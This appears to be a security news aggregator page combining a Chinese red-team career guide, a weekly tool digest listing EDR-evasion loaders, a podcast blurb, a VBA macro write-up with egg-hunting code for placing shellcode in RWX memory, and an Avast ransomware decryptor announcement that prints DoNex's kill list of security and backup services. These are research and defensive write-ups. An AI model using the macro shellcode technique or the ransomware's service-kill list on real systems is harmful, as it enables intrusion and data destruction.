  • 我們在面試中喜歡問各種漏洞怎麼拿 shell 的問題,因為這就是紅隊演練目標的第一步。搜尋 “from XSS to RCE” 這類的關鍵字能找到相當多案例(XSS 可以取代成 SQLi 等漏洞)。

紅隊戰術與技巧

控制一台電腦後,仍需要在內網中擴散完成任務目標。ired.team 提供了一本紅隊技巧工具書,推薦閱讀以了解在不同階段有哪些招式可用。對 DEVCORE 而言,我們優先關注「Active Directory & Kerberos Abuse」、「Credential Access & Dumping」、「Lateral Movement」章節下的技能。此外,「Network pivoting & tunneling」的概念和技巧也是我們會關注的能力,ired.team 在這塊著墨較少,這篇文章涵蓋了必要知識和工具可參考。 以終為始學習,希望在練習這些技巧和工具後,能對下面的問題有自己的看法:

如果打下企業一台外網服務,而你的目標是該企業內網網域控制器(情境架構可自行假設):

  • 為了打 AD,你在打下的外網伺服器上會做哪些事情?為什麼?過程中你偏好使用什麼工具?偏好的原因是什麼?
  • 同上,這台伺服器如果有網域帳號你之後會做哪些事情?如果沒有網域帳號呢?
  • 想拿下網域控制器,心中能否馬上跳出五種以上的方法?你會優先嘗試什麼方法?為什麼?
  • 過程中橫向移動偏好使用什麼工具?為什麼?

📌 練習

虛擬靶機練習

除了知識外,也要找一些模擬環境培養手感。知名的 Hack The Box 和 OffSec 都有推出學習路徑和豐富的靶機:

選擇適合自己的平台練習即可。也可以單純打 HTB Labs 靶機,練到覺得每次解題目要做的事情都類似,開始覺得題目有套路感就可以了,一些特殊解法在現階段不需糾結。過去有玩 HTB 的實習生在錄取前附上的 Writeups 大概會寫 30~50 台靶機,這個數量級或許可以參考。另外若要練習打網域,最近 GitHub 上有一個 GOAD LAB 專案滿值得參考。

如果想考證照,我們有考過覺得對提昇檢測工作能力有幫助的有:

註:以上僅提供已知有幫助的證照,不代表其他證照沒有幫助

實戰練習

最推薦的還是到真實場域來看看。

  • 白箱練習:可以嘗試找你熟悉或喜歡的 GitHub 專案,先看這個專案過去的漏洞,試試看如果自己白箱看有沒有辦法能追到。如果這些有正解的漏洞都能順利找到,接著就開始找一些 Open Source 專案來挖掘 0-day 吧。
  • 黑箱練習:參與 bug bounty 計畫,挑戰真實世界的安全問題。台灣企業的計畫可以參考 HITCON ZeroDay ,國外則推薦 HackerOne 上面的目標。這些計畫會讓你面對更複雜和多樣的攻擊場景,提升你的實戰能力。

📌 找同伴一起

在資安這條路上,找到志同道合的夥伴一起學習、一起打 CTF、一起挖漏洞絕對比獨自升級來的有效率,下列活動可考慮參加:

  • HITCON Community: 幾乎所有資安社群都會聚集在這個研討會,可以在研討會中找一個適合自己的社群參與。
  • AIS3: 聚集台灣幾乎所有對資安有興趣的在學生。滿有機會在這邊認識志同道合的朋友。
  • 台灣好厲駭 Deep Hacking 讀書會: 全台灣探討資安最深最扎實的讀書會之一,參加絕對可以提昇視野、也能認識各種高手。內容偏 Binary 但目前漸漸在轉型中,希望不分類以挖掘漏洞為主。
  • DEVCORE 實習生計畫: 每年一月中和七月中會招生,如果目的是應徵 DEVCORE,參加計畫問導師應該是最快的。

如果你想知道更多資源,台灣資安 / CTF 學習資源整理 整理的資源值得參考。

🚀 小結

本篇指南分成兩部分:前半部主要在給應徵者一些小提醒,希望應徵者能把最好的一面呈現出來。後半部提供一個學習的脈絡,希望給還在學習階段的人一個比較清楚的方向。

最終,我們都希望台灣有越來越多熱愛技術的人進入資安產業。希望,未來能持續在資安領域看見正在閱讀的你。

Last Week in Security (LWiS) - 2024-07-08

By: Erik
9 July 2024 at 03:59

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-07-01 to 2024-07-08.

News

Techniques and Write-ups

Tools and Exploits

  • EDRPrison - Leverage a legitimate WFP callout driver to prevent EDR agents from sending telemetry.
  • View8 - Decompiles serialized V8 objects back into high-level readable code.
  • DojoLoader - Generic PE loader for fast prototyping evasion techniques.
  • FlowAnalyzer - FlowAnalyzer is a tool to help in testing and analyzing OAuth 2.0 Flows, including OpenID Connect (OIDC).

New to Me and Miscellaneous

This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!

  • ETWListicle - List the ETW provider(s) in the registration table of a process.
  • runpe-x64 - RunPE adapted for x64 and written in C, does not use RWX.

Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.

Why is Log4J still so successful? | Guest Etay Maor

By: Infosec
8 July 2024 at 18:00

Today on Cyber Work, I talked with Etay Maor, Chief Security Strategist with Cato Networks. Etay is a founding member of the Cato Cyber Threats Research Lab, or CTRL — see what they did there? — and he joins me to talk about their first CTRL report on attack patterns and methods. We’re going to talk about the most common attack vectors, why Log4J still rules the roost even against newer and flashier exploits, and we go deep into the many paths you can take to become a threat researcher, threat analyst, reverse engineer, and lots more. That’s all on today’s episode of Cyber Work!

0:00 - Intro
4:10 - First interest in cybersecurity and tech
5:15 - Becoming chief security strategist
8:15 - Working in cybersecurity project management
12:07 - Hacker targets and AI
15:04 - The dark web and security access
16:03 - The CTRL report in brief
20:23 - Health care cybersecurity
22:49 - Different cyberattacks in different industries
25:10 - Using security tools as a gateway
27:03 - AI-enabled cyberattacks
33:14 - Careers as a cybersecurity threat researcher
36:09 - Figuring out where to specialize in cybersecurity
41:31 - Important cybersecurity skills and experience
45:58 - Hiring in cybersecurity
49:30 - Future changes in AI and cyber tools
55:38 - What is Cato Networks?
57:13 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

VBA: overwriting R/W/X memory in a reliable way

7 July 2024 at 00:00

Dear Fellowlship, today’s homily is an addendum to our previous homily “VBA: having fun with macros, overwritten pointers & R/W/X memory”. After writing the previous post our owls met in a parliament to deliberate how to add stability to the technique shown. After a few exchanges of ideas lubricated by the consecrated wine, the solution was found. This solution was presented to the public during the EuskalHack VII conclave.

Prayers at the foot of the Altar a.k.a. disclaimer

I am writing this article after EuskalHack VII as an addedum to my previous post on this topic. When I presented this technique on this blog I did not have a reliable way to find a place where to place the shellcode, but weeks after I found a solution. In this short article I describe this solution to make the technique 100% reliable.

A quick recap

If you remember our article “VBA: having fun with macros, overwritten pointers & R/W/X memory” we executed our shellcode by just using a primitive to move memory from point A to point B, so we could overwrite a pointer that would let us hijack the natural program flow and jump to our shellcode. Also we found that VBA is a sinner and does nasty things like this:

1800eec9c  long UpdatePageProtection(void* __ptr64 arg1, unsigned long arg2)

1800eecad      enum WIN32_ERROR var_10 = NO_ERROR
1800eecd3      void var_c
1800eecd3      if (VirtualProtect(lpAddress: arg1, dwSize: zx.q(arg2), flNewProtect: PAGE_EXECUTE_READWRITE, lpflOldProtect: &var_c) == 0)
1800eecd5          enum WIN32_ERROR rax_2 = GetLastError()
1800eece4          enum WIN32_ERROR var_14_1
1800eece4          if (rax_2 s> NO_ERROR)
1800eed02              var_14_1 = zx.d(rax_2.w) | 0x70000 | 0x80000000
1800eecea          else
1800eecea              var_14_1 = rax_2
1800eed0a          var_10 = var_14_1
1800eed17      return var_10

This little Eden is eager to be colonised by our shellcode, where it can enjoy a peaceful life. The problem is that in reality it is an illusion: this land is extremely unstable. In general, there are two problems:

  1. This memory region is continously being overwritten, so by the moment we jump to it maybe the shellcode was corrupted or totally wiped.
  2. This memory region cotains data that is used by Excel, so if we overwrite something useful… it would end in a crash.

Finding an oasis in the desert

In VBA a Declare sentence is only “executed” when the macro calls to that function/sub. This means we can have fake Declare for exports that does not exists and it is not going to return any error as long as we do not call that function. For example:

Private Declare PtrSafe Function ajjj13371337AdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdeptAdept Lib "KERNEL32" () As LongPtr

The magic happens when we discover that this string is present in the R/W/X memory region:

Attacker controlled string placed at RWX memory
Attacker controlled string placed at RWX memory

This means that we can use this trick to seed the R/W/X memory region with placeholders (~250 bytes) that can be overwritten with a small loader divided in chunks! To find the placeholders we can add a small “tag” (one different for each placeholder) as prefix and then search for it (classic egg hunting technique).

Function findEgg() As LongPtr
    Dim mbi As MEMORY_BASIC_INFORMATION
    Dim ret As LongPtr
    Dim dwLenght As LongPtr
    Dim j As Long
    Dim check As Long
    Dim found As Integer
    found = 0
    j = 1
    For i = 0 To 500000
        ret = VirtualQuery(addr, mbi, LenB(mbi))
        If mbi.Protect = 64 Then
		For k = 0 To mbi.RegionSize - 4 Step 1
                Call CopyMemory(VarPtr(check), mbi.BaseAddress + k, 4)
                If check = 926102321 Then '1337
                    findEgg = mbi.BaseAddress + k
                    found = 1
                    Exit For
                End If
            Next k
            If found = 1 Then
                Exit For
            End If
        End If
        addr = mbi.BaseAddress + mbi.RegionSize
    Next i
End Function

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Decrypted: DoNex Ransomware and its Predecessors

8 July 2024 at 07:48

Researchers from Avast have discovered a flaw in the cryptographic schema of the DoNex ransomware and its predecessors. In cooperation with law enforcement organizations, we have been silently providing the decryptor to DoNex ransomware victims since March 2024. The  cryptographic weakness was made public at Recon 2024 and therefore we have no reason to keep this secret anymore.

DoNex and its Brothers

The DoNex ransomware has been rebranded several times. The first brand, called Muse, appeared in April 2022. Multiple evolutions followed, resulting in the final version of the ransomware, called DoNex. Since April 2024, DoNex seems to have stopped its evolution, as we have not detected any new samples since. Additionally,  the TOR site of the ransomware has been down since that point. The following is a brief history of DoNex.

Apr 2022The first sample of Muse ransomware
Nov 2022Rebrand to fake LockBit 3.0
May 2023Rebrand to DarkRace
Mar 2024Rebrand to DoNex

All brands of the DoNex ransomware are supported by the decryptor.

DoNex uses targeted attacks on its victims and it was most active in the US, Italy, and the Netherlands based on our telemetry.

DoNex blocked attacks

Ransomware Encryption Schema

During the ransomware execution, an encryption key is generated by CryptGenRandom() function. This key is then used to initialize ChaCha20 symmetric key and subsequently to encrypt files. After a file is encrypted, the symmetric file key is encrypted by RSA-4096 and appended to the end of the file. The files are picked by their extension, and file extensions are listed in the ransomware XML config.

For small files (up to 1 MB), the entire file is encrypted. For files with size greater than 1 MB, intermittent encryption is used – the file is split into blocks and those blocks are encrypted separately.

Ransomware Configuration

Samples of the DoNex ransomware, and its previous versions, contain XOR-encrypted configuration, which contains settings of whitelisted extensions, whitelisted files, services to kill, and other encryption-related data. The following snippet shows a part of such configuration:

<?xml version='1.0' encoding='UTF-8'?>
<root>
    <white_extens>
        386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;
        diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;lnk;mod;mpa;msc;msp;msstyles;
        msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;
        lock;key;hta;msi;pdb;search-ms
    </white_extens>
    <white_files>
        bootmgr;autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;
        ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat
    </white_files>
    <white_folders>
        $recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;
        program files (x86);programdata;system volume information;tor browser;windows.old;
        intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata
    </white_folders> 
    <kill_keep>
        sql;oracle;mysq;chrome;veeam;firefox;excel;msaccess;onenote;outlook;powerpnt;winword;wuauclt
    </kill_keep>
    <services>
        vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr
    </services>
    <black_db>
        ldf;mdf
    </black_db>
    <encryption_thread>
        30
    </encryption_thread>
    ...

How do I know if I have been attacked by DoNex ransomware?

The simplest way to identify that you have been attacked by the DoNex ransomware is the ransom note. Different brands of the DoNex ransomware produce a different ransom note, but every version contains a note. That said, the ransom note layout of the Fake LockBit, DarkRace and DoNex ransomwares are very similar. Below you can see examples of each.

Screenshot of the Muse ransom note
Screenshot of the Fake LockBit ransom note
Screenshot of the DarkRace ransom note
Screenshot of the DoNex ransom note

How to use the DoNex ransomware decryptor

1. Download the decryptor here.
2. Run the executable file, preferably as an administrator. It starts as a wizard, leading you through the configuration of the decryption process.
3. On the initial page, we have a link to the license information. Click the Next button when you are ready to start.

4. On the next page, the user is asked to provide a list of locations (drives, folders, files) that are to be decrypted. By default, it has a list of all local disk drives.

5. On the following page, you need to supply an example of a file in its original form and then one encrypted by any brand of the DoNex ransomware. Type both names of the files. You can also drag & drop files from Windows Explorer to the wizard page. It is extremely important to pick a pair of files that are as big as you can find. The largest file size that is decryptable by the tool equals to the file size of the encrypted file in the pair.

6. The next page is where the password cracking process takes place. Click Start when you are ready to begin. This process usually only takes a second, but requires a large amount of system memory. This is why we strongly recommend using the 64-bit version of the decryption tool.
Once the password is found, you can continue to decrypt all the encrypted files on your PC by clicking Next.

7. On the final page, you can opt-in to back up your encrypted files. These backups may help if anything goes wrong during the decryption process. This choice is selected by default, which we recommend. After clicking Decrypt the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.

Indicators of Compromise (IOCs)

9d5c4544bd06335c2ad2545b0d177218f84b77dd1834b22bf6a4cfe7e1de91fbMuse
04ed1a811b3594f55486a52ab81227089c178f5c73944a3a9665d7052c3b7df9 0ec61a80e61f56f460fc42e5d4f0accec2b04c8db98c28ed4534946214076f2a b9b4766d6b0e63f80d49e969fbd63ae90b0d1e487ef008b55c096bf46395d32e 2e397dcbcc630b492c01af9cb6033edd9c857e2881bead6956e43aefb16b6a21 91745d530a8304742b58890e798448de9fbe4ea0bc057f30ab0beb522b4bb688 2e1fd124f3e9fc238773e49bc971c882464a3686171d18ab2cd6c2859be138d1FakeLockBit 3.0
74b5e2d90daaf96657e4d3d800bb20bf189bb2cf487479ea0facaf6182e0d1d3
0e60d49a967599fab179f8c885d91db25016be996d66a4e00cbb197e5085efa4
Dark Race
0adde4246aaa9fb3964d1d6cf3c29b1b13074015b250eb8e5591339f92e1e3ca B32ae94b32bcc5724d706421f915b7f7730c4fb20b04f5ab0ca830dc88dcce4e 6d6134adfdf16c8ed9513aba40845b15bd314e085ef1d6bd20040afd42e36e40DoNex

The post Decrypted: DoNex Ransomware and its Predecessors appeared first on Avast Threat Labs.

❌
❌